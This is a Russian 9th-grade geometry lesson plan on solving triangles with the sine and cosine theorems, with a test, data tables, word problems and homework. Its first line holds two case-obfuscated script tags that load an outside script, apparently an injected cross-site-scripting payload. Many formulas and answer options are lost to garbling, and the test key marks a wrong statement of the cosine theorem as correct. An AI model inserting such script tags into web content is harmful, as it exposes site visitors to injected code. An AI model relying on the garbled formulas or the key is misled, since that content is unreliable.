<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>
Разработка открытого урока геометрии
в 9 классе
Применение теоремы синусов и теоремы косинусов при решении
треугольников
Цель:
Образовательная:
повторение ранее изученного материала: теоремы синусов, теоремы косинусов, умение использовать их при решении задач,
применять соотношения между сторонами и углами треугольника в решении задач
стандартного уровня с переходом на более высокий уровень.
Развивающая: развивать умения анализировать, сопоставлять,
логически мыслить, обобщать; развивать внимание, память, активность и
самостоятельность., закрепление ранее
изученного материала на практике решения задач, развитие навыков контроля,
самоконтроля, взаимопомощи.
Воспитательная: воспитание умения внимательно слушать и
оценивать устную информацию, воспитание умения четко формулировать свои мысли,
воспитание коммуникативных способностей,
аккуратности.
Ход урока:
I. Организационный момент
Добрый день!
Сели ровно, оглянулись.
Друг другу улыбнулись
И в работу
окунулись.
II. Мотивация урока.
Часто знает и дошкольник,
Что такое треугольник.
А уж вам-то как не знать.
Но совсем другое дело –
Очень быстро и умело
Треугольники «решать».
III. Актуализация
опорных знаний.
- Фронтальный опрос
1.Что называют решением треугольников?
2.Какие теоремы
применяются при решении треугольников?
3.Сформулируйте
теорему синусов?
4. Теорему
косинусов?
5.Чему равна
сумма углов треугольника?
-Решение
теста
1. Квадрат любой стороны треугольника
равен …
а) сумме
квадратов двух других сторон, минус произведение этих сторон на косинус угла
между ними;
б) сумме
квадратов двух других его сторон;
в) сумме
квадратов двух других сторон без удвоенного произведения этих сторон на косинус
угла между ними.
2. Заполни пропуски. В треугольнике KHТ КН2=НТ2+ …..2
– 2 НТ*…..*
а) KH ; б) HT;
в) TK.
3. Стороны треугольника пропорциональны
А) тангенсам противолежащих углов
б)
косинусам противолежащих углов
в) синусам противолежащих углов
4. Теорема
синусов.
А)
=
=
б)
=
=
в)
=
=
5. Теорема
косинусов.
А) с2 = a2+ b2 + 2ab cosC
б) с2 = a2+ b2 - 2ab cosC
в) с2 = a2+ b2 - b cosB
6. В треугольнике АВС известны: длина
стороны ВС и величина угла С. Чтобы вычислить сторону АВ, нужно знать:
А) АС;
В) ∠ В;
С) ∠ А;
Ключ к тесту: 1- а,
2-в, 3-в, 4-а, 5-б.
. Групповая
работа
Задание для
первой группы
|
|
а |
b |
c |
α |
β |
γ |
|
1 |
5 |
2,59 |
3,66 |
105о |
30о |
45о |
|
2 |
16,7 |
12 |
24,8 |
36о |
25о |
119о |
|
3 |
12 |
8 |
10,6 |
79о |
41о |
60о |
|
4 |
19,9 |
9 |
17 |
95о |
27о |
58о |
|
5 |
12 |
5 |
8,69 |
120о |
21о |
39о |
|
6 |
27 |
9 |
19,6 |
138о |
13о |
29о |
|
7 |
2 |
3 |
4 |
29о |
47о |
104о |
|
8 |
7 |
2 |
8 |
54о |
13о |
113о |
Задание для
второй группы
|
|
а |
b |
c |
α |
β |
γ |
|
1 |
20 |
17,9 |
14,6 |
75о |
60о |
45о |
|
2 |
13,6 |
11,2 |
14 |
64о |
48о |
68о |
|
3 |
7 |
23 |
28 |
11о |
39о |
130о |
|
4 |
22,9 |
14 |
10 |
145о |
21о |
15о |
|
5 |
34 |
12 |
22,3 |
164о |
6о |
10о |
|
6 |
6 |
8 |
11,4 |
30о |
42о |
108о |
|
7 |
4 |
5 |
7 |
34о |
44о |
102о |
|
8 |
15 |
24 |
18 |
39о |
93о |
48о |
V.
Релаксационная пауза (Под красивую
мелодию)
Визуализация
– это мощный инструмент сознания. Исследования показали, что подсознание не
может отличить реальные события от визуализированных. Поэтому визуализированные
образы оказывают значительное влияние на сознание.
·
Сядьте поудобнее. Закройте глаза и сделайте несколько
медленных вдохов. Выключите все средства коммуникации, чтобы не отвлекаться.
·
Представьте себя в тихом и спокойном месте на ваш
выбор. Это может быть пустынный пляж, лес, лодка или любое другое место, где вы
чувствуете себя расслабленным.
·
Удерживайте этот образ и, испытывая блаженство
момента, представьте все позитивные чувства, которые возникают в этом месте.
·
Чем реалистичнее будет изображение, тем больше
позитивных эмоций вы получите.
·
Когда вы почувствуете себя комфортно и спокойно,
медленно выйдите из воображаемого мира и вернитесь в реальный.
VI.
Решение задач на практическое применение теорем синусов и косинусов.
1.
В 7 часов утра пассажирский самолет вылетел из города А. После
получасовой остановки в городе В в 8 часов 10 минут самолет сделал
поворот на 145о вправо и в 9 часов совершил посадку в городе С.
Найдите расстояние между городами А и С, если средняя скорость
самолета на каждом участке полета была равна 320км/ч.
2. Вершина горы видна из
точки А под углом 38о, а при приближении к горе на 200 м вершина
стала видна под углом 42о. Найдите высоту горы.
1)Обозначим
угол BCA=y
. Тогда из треугольника CBA по теореме синусов имеем: СВ =
AB => CB = AB * sin a = AB * sin a = 200 * sin 38o = sin a sin y sin y sin (b-a) sin(42o – 38o)
= 200 * 0.6157 = 1 764 м
0.0698
2) Из треугольника СBD следует, что CD = CB*sin b = 1 764*sin 42o =
= 1 764*0.6691
= 1 180 м.
Ответ: высота горы 1 180 м.
VII. Рефлексия
Я люблю
математику не только потому, что она находит применение в жизни, но и потому
что она красива.
Петер Роске
·
Что больше всего тебе запомнилось на уроке?
·
Что удивило?
·
Что понравились больше всего?
·
Каким ты хочешь увидеть следующий урок?
·
На уроке сегодня я узнал…
·
Мне было интересно, когда…
·
Я так и не понял…
·
Знания, полученные на уроке, мне
пригодятся…
VIII. Домашнее задание
1. Определить вид
треугольника со сторонами
5, 6 и
7 см.
а) остроугольный; б) равнобедренный;
в) тупоугольный; г) прямоугольный.
2. В
параллелограмме острый угол = 60
, а
стороны 6 см и 8
см. Найти меньшую
диагональ.
а) 2
см;
б) 2
см;
в) 2
см; г) 7 см.
3. Найти углы
треугольника, если a=12, b=8, c=10.
4. В
треугольнике АВС угол ∠В= 105
,
угол ∠А= 45
, ВС= 8 см. Найти
АВ.
а) 4
см; б) 4
см;
в) 8
см; г) 4
см.